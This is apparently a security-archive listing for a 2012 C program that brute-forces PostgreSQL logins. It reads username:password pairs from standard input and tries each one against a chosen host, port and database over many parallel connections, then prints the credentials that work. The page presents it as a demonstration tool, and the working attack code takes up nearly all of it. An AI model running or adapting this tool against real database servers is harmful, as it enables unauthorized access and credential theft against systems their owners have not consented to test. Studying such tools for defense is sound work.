what you don't know can hurt you

PgSql Brute Force

PgSql Brute Force
Posted Jan 31, 2012
Authored by James Stevenson | Site stev.org

This is a small application built to demo the weakness in pgsql and networking. It is capable of running login attempts from multiple threads in parallel and can run up to 1024 concurrent connections.

tags | tool, cracker, sql injection
MD5 | 03063b5fb60455e221127d4bf6e4ed58

PgSql Brute Force

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/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Library General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* $Id: brute-pgsql.c,v 1.1 2012/01/25 22:32:03 james.stevenson Exp $
*
* Author:
* NAME: James Stevenson
* WWW: http://www.stev.org
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <getopt.h>
#include <string.h>
#include <pthread.h>

#include <postgresql/postgres.h>
#include <postgresql/postgres_fe.h>
#include <postgresql/libpq-fe.h>

int verbose = 0;
int total = 0;
volatile int quit = 0;

pthread_mutex_t mutex_pass = PTHREAD_MUTEX_INITIALIZER;

struct args {
char *host;
char *db;
int port;
};

void print_help(FILE *fp, char *app) {
fprintf(fp, "Usage: %s [<options>]\n", app);
fprintf(fp, "\n");
fprintf(fp, " -h Print this help and exit\n");
fprintf(fp, " -v Verbose. Repeat for more info\n");
fprintf(fp, " -d <db> Database name to connect to\n");
fprintf(fp, " -t <host> host to try\n");
fprintf(fp, " -p <port> port to connect on\n");
fprintf(fp, " -n <num> number of threads to use\n");
fprintf(fp, "\n");
fprintf(fp, "Note: usernames / password will be read from stdin\n");
fprintf(fp, "The format for this is username:password\n");
fprintf(fp, "\n");
}

int try(char *hostname, char *username, char *password, char *db, int port) {
char *str = 0;
int result = 0;

if (asprintf(&str, "host=%s port=%d user=%s password=%s dbname=%s", hostname, port, username, password, db) < 0) {
printf("asprintf failed\n");
return 0;
}

PGconn *conn = PQconnectdb(str);
if (!conn) {
printf("PQconnectdb failed\n");
free(str);
return 0;
}

ConnStatusType ret = PQstatus(conn);
switch(ret) {
case CONNECTION_OK:
if (verbose >= 2)
printf("Connection Success: %s\n", PQerrorMessage(conn));
result = 1;
break;
default:
if (verbose >= 2)
printf("Connection Failed: %s\n", PQerrorMessage(conn));
result = 0;
break;
}

PQfinish(conn);

free(str);
return result;
}

int getpassword(char **buf, size_t *buflen, char **username, char **password) {

pthread_mutex_lock(&mutex_pass);

if (getline(buf, buflen, stdin) >= 0) {
pthread_mutex_unlock(&mutex_pass);
char *tmp = strchr(*buf, ':');
if (tmp == 0 || tmp[1] == 0)
return 0;
*username = *buf;
*tmp = 0;
tmp++;
*password = tmp;
tmp = strchr(*password, '\n');
if (tmp != 0)
*tmp = 0;
if (verbose >= 2)
printf("username: %s password: %s\n", *username, *password);
return 1;
}

pthread_mutex_unlock(&mutex_pass);
return 0;
}

void *run(void *p) {
struct args *a = (struct args *) p;
char *buf = 0;
size_t buflen = 0;
char *user = 0;
char *pass = 0;

while(quit == 0) {
if (getpassword(&buf, &buflen, &user, &pass) == 0)
goto free; /* we ran out of passwords */

if (try(a->host, user, pass, a->db, a->port)) {
printf("Success! Username: %s Password: %s\n", user, pass);
quit = 1;
goto free;
}
}

free:
if (buf != NULL)
free(buf);

pthread_exit(NULL);
return NULL;
}

int main(int argc, char **argv) {
struct args args;
pthread_t *thd;
pthread_attr_t attr;
int nthreads = 1;
int i = 0;
int c;

memset(&args, 0, sizeof(args));

while( (c = getopt(argc, argv, "d:hn:p:t:v")) != -1) {
switch(c) {
case 'd':
args.db = optarg;
break;
case 'h':
print_help(stdout, argv[0]);
exit(EXIT_SUCCESS);
break;
case 'n':
nthreads = atoi(optarg);
break;
case 't':
args.host = optarg;
break;
case 'v':
verbose++;
break;
case 'p':
args.port = atoi(optarg);
break;
}
}

if (args.db == NULL)
args.db = "mysql";

if (args.host == NULL)
args.host = "localhost";

if (args.port == 0)
args.port = 5432;

thd = malloc(nthreads * sizeof(*thd));
if (!thd) {
perror("malloc");
exit(EXIT_FAILURE);
}

if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
exit(EXIT_FAILURE);
}

if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE) != 0) {
perror("pthread_attr_setdetachstate");
exit(EXIT_FAILURE);
}

for(i=0;i<nthreads;i++) {
if (pthread_create(&thd[i], NULL, run, &args) != 0) {
perror("pthread_create");
exit(EXIT_FAILURE);
}
}

for(i=0;i<nthreads;i++) {
if (pthread_join(thd[i], NULL) != 0) {
perror("pthread_join");
exit(EXIT_FAILURE);
}
}

pthread_attr_destroy(&attr);

free(thd);

return EXIT_SUCCESS;
}


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